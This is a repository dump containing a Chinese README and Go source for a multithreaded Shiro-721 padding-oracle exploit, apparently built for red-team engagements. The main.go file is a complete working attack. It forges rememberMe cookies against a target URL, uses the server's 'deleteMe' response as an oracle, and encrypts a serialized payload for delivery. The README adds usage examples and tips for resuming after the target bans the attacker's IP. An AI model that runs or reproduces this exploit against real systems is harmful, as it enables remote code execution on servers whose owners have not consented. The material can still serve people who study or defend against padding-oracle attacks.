├── LICENSE ├── README.md └── main.go /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 小墨(wabzsy) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 简介 2 | 3 | hvv红队渗透测试工具, Go版本的多线程Shiro-721(PaddingOracle)利用工具 4 | 5 | # 使用场景 6 | 7 | > 一般用于: 你在hvv时发现了一个带Shiro-721漏洞的站, 但是苦于现有exp都是单线程的, 而且崩了要重新开始跑, 好不容易跑出来了结果还TM不能用, 最后跑的心态爆炸还没日下来的情况. 8 | 9 | # 特点 10 | 11 | - go语言编写, 方便快速的在各种平台编译运行, 无依赖, 不需要装jdk/jre之类的运行时环境 12 | - 有"错误补偿"机制, 基本上只要能跑出结果就一定是可用的(实现方法可以看下源码~) 13 | - 支持多线程(一般给个15-60线程就差不多了, 具体参数需要根据实际情况微调) 14 | - 支持后端带负载均衡节点的情况 15 | - 支持后端带负载均衡节点, 但是其中一个或多个节点还TM不可用的情况 16 | - 支持后端带负载均衡节点, 但是其中一个或多个节点用的还TM不是相同的SecretKey的情况 17 | - 支持"断点续传", 比如你在本机跑了一半了, 突然电脑蓝屏了(or 五国了), 恢复之后可以接着刚才的进度继续跑 18 | - 支持"断点续传", 比如你在VPS上跑了一半了, 然后蓝队突然把你VPS的IP给Ban了, 然后VPS提供商还TM不给换IP, 这时你可以带着session文件换个VPS继续跑 19 | - 支持随机(or 自定义)`padding byte` 20 | - 支持设置"重试次数"(一般用于后端有多个负载节点, 但是只有部分个负载节点能正确响应的情况) 21 | - 支持设置在恢复会话的时候从指定的block开始跑 22 | - 支持设置"超时时间", 比如后端节点有三台响应的非常快, 有一台响应的特别慢, 这时可以设置"超时时间"来避开响应慢的那台 23 | 24 | # 编译方式 25 | 26 | `go build -trimpath -ldflags "-s -w"` 27 | 28 | # 使用方式 29 | 30 | ## 参数 31 | 32 | ``` 33 | $ ./ShiroPaddingOracle 34 | Usage of ./ShiroPaddingOracle: 35 | -a int // 重试次数, 需要根据后端节点数量和质量进行微调 36 | number of attempts (default 15) 37 | -b int // 一般默认就好 38 | block size (default 16) 39 | -c int // 调试用的, 一般默认(随机)就好 40 | custom padding byte 41 | -d int // 单个HTTP请求的超时时间, 根据目标响应速度微调 42 | timeout seconds (default 3) 43 | -i string // 指定存放合法rememberMe数据的文件 44 | rememberMe data file (default "rememberMe.txt") 45 | -p string // 指定 payload 文件 46 | payload data file (default "payload.ser") 47 | -r string // 指定会话文件继续跑或者查看结果 48 | load session file to restore 49 | -s string // 指定会话文件的文件名, 一般默认就好 50 | session file 51 | -t int // 并发线程数 52 | number of threads (default 16) 53 | -u string // 目标地址 54 | target url 55 | -v verbose // 详细模式, 一般用于调试 56 | 57 | ``` 58 | 59 | ## 新建会话 60 | 61 | `./ShiroPaddingOracle-darwin-arm64 -u http://127.0.0.1:8081/jeesite/a/login -p foobar.class -i rememberMe.txt -t 64` 62 | 63 | - `-u` 目标地址: http://127.0.0.1:8081/jeesite/a/login 64 | - `-p` Payload文件: foobar.class (咋生成应该不用我说吧..) 65 | - `-i` rememberMe数据文件: rememberMe.txt 66 | - `-t` 线程数: 64 67 | 68 | ## 恢复会话 69 | 70 | `./ShiroPaddingOracle-darwin-arm64 -r 2022-01-07_13-33-17.session` 71 | 72 | - 从`2022-01-07_13-33-17.session`这个文件恢复会话继续跑或者查看跑完的结果 73 | 74 | # 注意事项 75 | 76 | - 打目标之前建议先本地搭建环境测试 77 | - 选个靠谱的payload, 争取一次成功, 不然白跑, 而且目标硬盘可能会被日志塞满 78 | - 线程数不要设的太高, 不要影响目标的正常业务 79 | - 跑的时候尽量看是看着点, 不然IP被Ban了还继续跑浪费时间 80 | - 具体使用细节请看源码 81 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "crypto/tls" 7 | "encoding/base64" 8 | "encoding/hex" 9 | "encoding/json" 10 | "flag" 11 | "fmt" 12 | "io/ioutil" 13 | "log" 14 | "math" 15 | "math/rand" 16 | "net" 17 | "net/http" 18 | "os" 19 | "strings" 20 | "sync" 21 | "sync/atomic" 22 | "time" 23 | ) 24 | 25 | type PaddingOracle struct { 26 | // Configuration 27 | RememberMeFile string 28 | PayloadFile string 29 | SessionFile string 30 | TargetUrl string 31 | Attempts int 32 | Threads int 33 | Verbose bool 34 | BlockSize int 35 | Padding byte 36 | Payload []byte 37 | RememberMe []byte 38 | Timeout int 39 | 40 | // Runtime 41 | RequestCount int64 42 | CurrentBlockId int 43 | Result [][]byte 44 | } 45 | 46 | func (o *PaddingOracle) PayloadBlocks() [][]byte { 47 | var result [][]byte 48 | for i := 0; i < len(o.Payload); i += o.BlockSize { 49 | result = append(result, o.Payload[i:i+o.BlockSize]) 50 | } 51 | return result 52 | } 53 | 54 | func (o *PaddingOracle) BlockCount() int { 55 | return int(math.Ceil(float64(len(o.Payload)) / float64(o.BlockSize))) 56 | } 57 | 58 | func (o *PaddingOracle) NextBlock() []byte { 59 | return o.Result[o.CurrentBlockId+1] 60 | } 61 | 62 | func (o *PaddingOracle) CheckPaddingAttackRequest(ctx context.Context, payload string) (bool, error) { 63 | req, err := http.NewRequest("GET", o.TargetUrl, nil) 64 | if err != nil { 65 | panic(err) 66 | } 67 | 68 | req.WithContext(ctx) 69 | 70 | req.Header.Add("User-Agent", "Mozilla/5.0") 71 | req.Header.Add("Referer", o.TargetUrl) 72 | req.Header.Add("Connection", "close") 73 | req.Header.Add("Cookie", fmt.Sprintf("rememberMe=%s", payload)) 74 | 75 | atomic.AddInt64(&o.RequestCount, 1) 76 | 77 | timeout := time.Duration(o.Timeout) * time.Second 78 | 79 | client := &http.Client{ 80 | Transport: &http.Transport{ 81 | TLSClientConfig: &tls.Config{ 82 | InsecureSkipVerify: true, 83 | }, 84 | DialContext: (&net.Dialer{ 85 | Timeout: timeout, 86 | }).DialContext, 87 | }, 88 | Timeout: timeout, 89 | } 90 | 91 | resp, err := client.Do(req) 92 | if err != nil { 93 | return false, err 94 | } 95 | 96 | defer func() { 97 | if resp.Body != nil { 98 | _ = resp.Body.Close() 99 | } 100 | }() 101 | 102 | if resp.StatusCode != 200 { 103 | return false, fmt.Errorf("HTTP响应状态错误:%d", resp.StatusCode) 104 | } 105 | 106 | setCookie := strings.Join(resp.Header.Values("Set-Cookie"), "\n") 107 | 108 | if o.Verbose { 109 | log.Println("Set-Cookie: ", setCookie) 110 | } 111 | 112 | if strings.Contains(setCookie, "rememberMe=deleteMe") { 113 | return false, nil 114 | } 115 | 116 | return true, nil 117 | } 118 | 119 | func (o *PaddingOracle) Attack(ctx context.Context, blockId, index int, currentBlock []byte, payloadChan <-chan byte, successChan chan<- byte, wg *sync.WaitGroup) { 120 | defer wg.Done() 121 | for { 122 | select { 123 | case c := <-payloadChan: 124 | 125 | currentBlock[index] = c 126 | payload := base64.StdEncoding.EncodeToString(append(o.RememberMe, append(currentBlock, o.NextBlock()...)...)) 127 | 128 | if success, err := o.CheckPaddingAttackRequest(ctx, payload); err == nil { 129 | if o.Verbose { 130 | log.Printf("block: %d index: %d c:%d is %v\n", blockId, index, c, success) 131 | } 132 | 133 | if success { 134 | successChan <- c 135 | return 136 | } 137 | 138 | } else { 139 | if o.Verbose { 140 | log.Printf("block: %d index: %d c:%d is error. (Err: %v)\n", blockId, index, c, err) 141 | } 142 | } 143 | 144 | case <-ctx.Done(): 145 | if o.Verbose { 146 | log.Println("ctx canceled") 147 | } 148 | return 149 | default: 150 | if o.Verbose { 151 | log.Println("the payload channel is empty") 152 | } 153 | return 154 | } 155 | } 156 | } 157 | 158 | func (o *PaddingOracle) FindCharacterEncrypt(index int, currentBlock []byte) (byte, bool) { 159 | if len(o.NextBlock()) != o.BlockSize { 160 | panic("nextBlock size error!!!") 161 | } 162 | 163 | successChan := make(chan byte) 164 | waitChan := make(chan bool) 165 | payloadChan := make(chan byte, 256) 166 | 167 | wg := sync.WaitGroup{} 168 | 169 | for c := 0; c < 256; c++ { 170 | payloadChan <- byte(c) 171 | } 172 | 173 | ctx, cancel := context.WithCancel(context.Background()) 174 | 175 | defer cancel() 176 | 177 | for i := 0; i < o.Threads; i++ { 178 | wg.Add(1) 179 | go o.Attack(ctx, o.CurrentBlockId, index, currentBlock[:], payloadChan, successChan, &wg) 180 | } 181 | 182 | go func() { 183 | wg.Wait() 184 | waitChan <- true 185 | }() 186 | 187 | select { 188 | case result := <-successChan: 189 | return result, true 190 | case <-waitChan: 191 | return 0, false 192 | } 193 | 194 | } 195 | 196 | func (o *PaddingOracle) Attempt(index int, currentBlock []byte) (byte, bool) { 197 | 198 | for i := 0; i < o.Attempts; i++ { 199 | if c, ok := o.FindCharacterEncrypt(index, currentBlock); ok { 200 | return c, true 201 | } else { 202 | log.Printf("[Block #%03d Index: %02d] => Error: no suitable encryption character found, retrying... (%02d/%02d)\n", o.CurrentBlockId, index, i+1, o.Attempts) 203 | } 204 | } 205 | 206 | return 0, false 207 | } 208 | 209 | func (o *PaddingOracle) BlockEncrypt(payloadBlock []byte) ([]byte, bool) { 210 | iv := make([]byte, o.BlockSize) 211 | 212 | for index := o.BlockSize - 1; index >= 0; { 213 | 214 | indexStartTime := time.Now() 215 | 216 | paddingByte := byte(o.BlockSize - index) 217 | currentBlock := make([]byte, o.BlockSize) 218 | 219 | for ix := index; ix < o.BlockSize; ix++ { 220 | currentBlock[ix] = paddingByte ^ iv[ix] 221 | } 222 | 223 | c, ok := o.Attempt(index, currentBlock) 224 | 225 | // 如果成功并且这是当前block的最后一个index,一定要再确认一次,不然下一个block和之后的数据就全部都是错的 226 | if ok && index == 0 { 227 | c1, ok1 := o.Attempt(index, currentBlock) 228 | // 如果这次失败了,或者这次的加密结果和上次的不一样,则把ok置为false 229 | if !ok1 || c1 != c { 230 | ok = false 231 | log.Printf("[Block #%03d Index: %02d] => Danger: Unable to confirm the correct value of the current index!\n", o.CurrentBlockId, index) 232 | } 233 | } 234 | 235 | // 如果失败 236 | if !ok { 237 | // 如果不是第一个index,则回滚到上一个index 238 | if index < o.BlockSize-1 { 239 | log.Printf("[Block #%03d Index: %02d] => Error: the previous encrypted character may be wrong, rolling back to index: %02d ...\n", o.CurrentBlockId, index, index+1) 240 | index++ 241 | continue 242 | } 243 | // 如果是第一个index,直接块级回滚 244 | return nil, false 245 | } 246 | 247 | iv[index] = c ^ paddingByte 248 | log.Printf("[Block #%03d Index: %02d] => 0x%s-%s | elapsed time: %v\n", o.CurrentBlockId, index, hex.EncodeToString(iv), hex.EncodeToString(o.NextBlock()), time.Now().Sub(indexStartTime)) 249 | index-- 250 | } 251 | 252 | result := make([]byte, o.BlockSize) 253 | 254 | for i := 0; i < o.BlockSize; i++ { 255 | result[i] = iv[i] ^ payloadBlock[i] 256 | } 257 | 258 | return result, true 259 | } 260 | 261 | func (o *PaddingOracle) Encrypt() error { 262 | 263 | log.Println("--------------------------------------------------------------") 264 | encryptStartTime := time.Now() 265 | 266 | payloadBlocks := o.PayloadBlocks() 267 | blockCount := o.BlockCount() 268 | 269 | if o.CurrentBlockId < 0 { 270 | log.Println("No blocks to be encrypted") 271 | return nil 272 | } 273 | 274 | log.Printf("A total of %d/%d blocks need to be encrypted\n", o.CurrentBlockId+1, blockCount) 275 | 276 | for o.CurrentBlockId >= 0 { 277 | log.Printf("Attempting to encrypt the block #%03d\n", o.CurrentBlockId) 278 | blockStartTime := time.Now() 279 | prevRequestCount := atomic.LoadInt64(&o.RequestCount) 280 | encryptedBlock, ok := o.BlockEncrypt(payloadBlocks[o.CurrentBlockId]) 281 | 282 | if !ok { 283 | // 如果不是第一个block,则回滚到上一个block 284 | if o.CurrentBlockId < blockCount-1 { 285 | log.Printf("[Block #%03d] => Error: the previous encrypted block may be wrong, rolling back to #%03d ... \n", o.CurrentBlockId, o.CurrentBlockId+1) 286 | o.CurrentBlockId++ 287 | continue 288 | } 289 | // 如果是第一个block,则直接返回错误(可能原因: rememberMe数据错误) 290 | return fmt.Errorf("block encryption failed") 291 | } 292 | requestCount := atomic.LoadInt64(&o.RequestCount) - prevRequestCount 293 | duration := time.Now().Sub(blockStartTime) 294 | log.Printf("Block #%03d encrypted, elapsed time: %v, request count: %d (%d/s), total request: %d, %d/%d completed\n", o.CurrentBlockId, duration, requestCount, requestCount/int64(duration.Seconds()), atomic.LoadInt64(&o.RequestCount), blockCount-o.CurrentBlockId, blockCount) 295 | 296 | o.Result[o.CurrentBlockId] = encryptedBlock 297 | o.CurrentBlockId-- 298 | if err := o.SaveState(); err != nil { 299 | log.Println("State saving failed:", err) 300 | } else { 301 | log.Println("Session state saved") 302 | } 303 | } 304 | 305 | log.Printf("All %d blocks are encrypted, elapsed time: %v\n", blockCount, time.Now().Sub(encryptStartTime)) 306 | return nil 307 | } 308 | 309 | func (o *PaddingOracle) ShowResult() { 310 | log.Println("--------------------------------------------------------------") 311 | result := base64.StdEncoding.EncodeToString(bytes.Join(o.Result, []byte{})) 312 | log.Println("[Result] =>", result) 313 | log.Println("[Request count] =>", o.RequestCount) 314 | } 315 | 316 | func (o *PaddingOracle) SaveState() error { 317 | bs, err := json.MarshalIndent(o, "", " ") 318 | if err != nil { 319 | return err 320 | } 321 | return ioutil.WriteFile(o.SessionFile, bs, 0666) 322 | } 323 | 324 | func (o *PaddingOracle) Restore(sessionFile string) error { 325 | bs, err := ioutil.ReadFile(sessionFile) 326 | if err != nil { 327 | return err 328 | } 329 | if err := json.Unmarshal(bs, o); err != nil { 330 | return err 331 | } 332 | if o.Timeout == 0 { 333 | o.Timeout = 3 334 | } 335 | o.PrintConfiguration() 336 | log.Println("--------------------------------------------------------------") 337 | payloadBlock := o.PayloadBlocks() 338 | for i := len(o.Result) - 2; i >= 0; i-- { 339 | if len(o.Result[i]) != 0 { 340 | result := make([]byte, o.BlockSize) 341 | for index := 0; index < o.BlockSize; index++ { 342 | result[index] = o.Result[i][index] ^ payloadBlock[i][index] 343 | } 344 | log.Printf("[Block #%03d] => 0x%s-%s |", i, hex.EncodeToString(result), hex.EncodeToString(o.Result[i+1])) 345 | } 346 | } 347 | if err := o.Encrypt(); err != nil { 348 | return err 349 | } 350 | o.ShowResult() 351 | return nil 352 | } 353 | 354 | func (o *PaddingOracle) Run() error { 355 | if o.Padding == byte(0) { 356 | o.Padding = byte(rand.New(rand.NewSource(time.Now().UnixMicro())).Intn(127)) 357 | } 358 | if o.Timeout == 0 { 359 | o.Timeout = 3 360 | } 361 | 362 | blockCount := o.BlockCount() 363 | 364 | o.Result = make([][]byte, blockCount+1) 365 | o.Result[blockCount] = bytes.Repeat([]byte{o.Padding}, o.BlockSize) 366 | o.CurrentBlockId = blockCount - 1 367 | 368 | o.PrintConfiguration() 369 | if err := o.Encrypt(); err != nil { 370 | return err 371 | } 372 | o.ShowResult() 373 | return nil 374 | } 375 | 376 | func (o *PaddingOracle) PrintConfiguration() { 377 | log.Println("--------------------------------------------------------------") 378 | log.Println("[Target] =>", o.TargetUrl) 379 | log.Println("[Threads] =>", o.Threads) 380 | log.Println("[Timeout] =>", o.Timeout) 381 | log.Println("[Verbose] =>", o.Verbose) 382 | log.Println("[Padding] =>", fmt.Sprintf("0x%02x", o.Padding)) 383 | log.Println("[Attempts] =>", o.Attempts) 384 | log.Println("[Block size] =>", o.BlockSize) 385 | log.Println("[Session file] =>", o.SessionFile) 386 | log.Println("[Payload file] =>", o.PayloadFile) 387 | log.Println("[Payload length] =>", len(o.Payload)) 388 | log.Println("[RememberMe file] =>", o.RememberMeFile) 389 | log.Println("[RememberMe data] =>", base64.StdEncoding.EncodeToString(o.RememberMe)) 390 | } 391 | 392 | func main() { 393 | 394 | rememberMeFile := flag.String("i", "rememberMe.txt", "rememberMe data file") 395 | payloadFile := flag.String("p", "payload.ser", "payload data file") 396 | blockSize := flag.Int("b", 16, "block size") 397 | sessionFile := flag.String("s", "", "session file") 398 | targetUrl := flag.String("u", "", "target url") 399 | attempts := flag.Int("a", 15, "number of attempts") 400 | threads := flag.Int("t", 16, "number of threads") 401 | verbose := flag.Bool("v", false, "verbose") 402 | customPadding := flag.Int("c", 0x00, "custom padding byte") 403 | restore := flag.String("r", "", "load session file to restore") 404 | timeout := flag.Int("d", 3, "timeout seconds") 405 | 406 | flag.Parse() 407 | 408 | if *restore != "" { 409 | po := &PaddingOracle{} 410 | if err := po.Restore(*restore); err != nil { 411 | panic(err) 412 | } 413 | return 414 | } 415 | 416 | if *targetUrl == "" { 417 | flag.Usage() 418 | return 419 | } 420 | 421 | if *threads > 256 { 422 | log.Println("The maximum number of threads is 256") 423 | return 424 | } 425 | 426 | if *attempts < 1 { 427 | log.Println("The minimum number of attempts is 1") 428 | return 429 | } 430 | 431 | rememberMeData, err := ioutil.ReadFile(*rememberMeFile) 432 | if err != nil { 433 | log.Println(err) 434 | return 435 | } 436 | 437 | payload, err := ioutil.ReadFile(*payloadFile) 438 | if err != nil { 439 | log.Println(err) 440 | return 441 | } else if len(payload) == 0 { 442 | log.Println("payload file is empty.") 443 | return 444 | } 445 | 446 | rememberMe, err := base64.StdEncoding.DecodeString(strings.TrimSpace(string(rememberMeData))) 447 | if err != nil { 448 | panic(err) 449 | } 450 | 451 | if *sessionFile == "" { 452 | *sessionFile = fmt.Sprintf("%s.session", time.Now().Format("2006-01-02_15-04-05")) 453 | } 454 | 455 | if _, err := os.Stat(*sessionFile); err == nil { 456 | log.Printf("The session file [%s] already exists, if you need to restore the session, please use the -r parameter", *sessionFile) 457 | return 458 | } 459 | 460 | po := &PaddingOracle{ 461 | RememberMeFile: *rememberMeFile, 462 | PayloadFile: *payloadFile, 463 | SessionFile: *sessionFile, 464 | TargetUrl: *targetUrl, 465 | Attempts: *attempts, 466 | Threads: *threads, 467 | Verbose: *verbose, 468 | BlockSize: *blockSize, 469 | Padding: byte(*customPadding), 470 | Payload: padding(payload, *blockSize), 471 | RememberMe: rememberMe, 472 | Timeout: *timeout, 473 | } 474 | 475 | if err := po.Run(); err != nil { 476 | panic(err) 477 | } 478 | 479 | } 480 | 481 | func padding(data []byte, blockSize int) []byte { 482 | length := blockSize - (len(data) % blockSize) 483 | bs := bytes.Repeat([]byte{byte(length)}, length) 484 | return append(data, bs...) 485 | } 486 | --------------------------------------------------------------------------------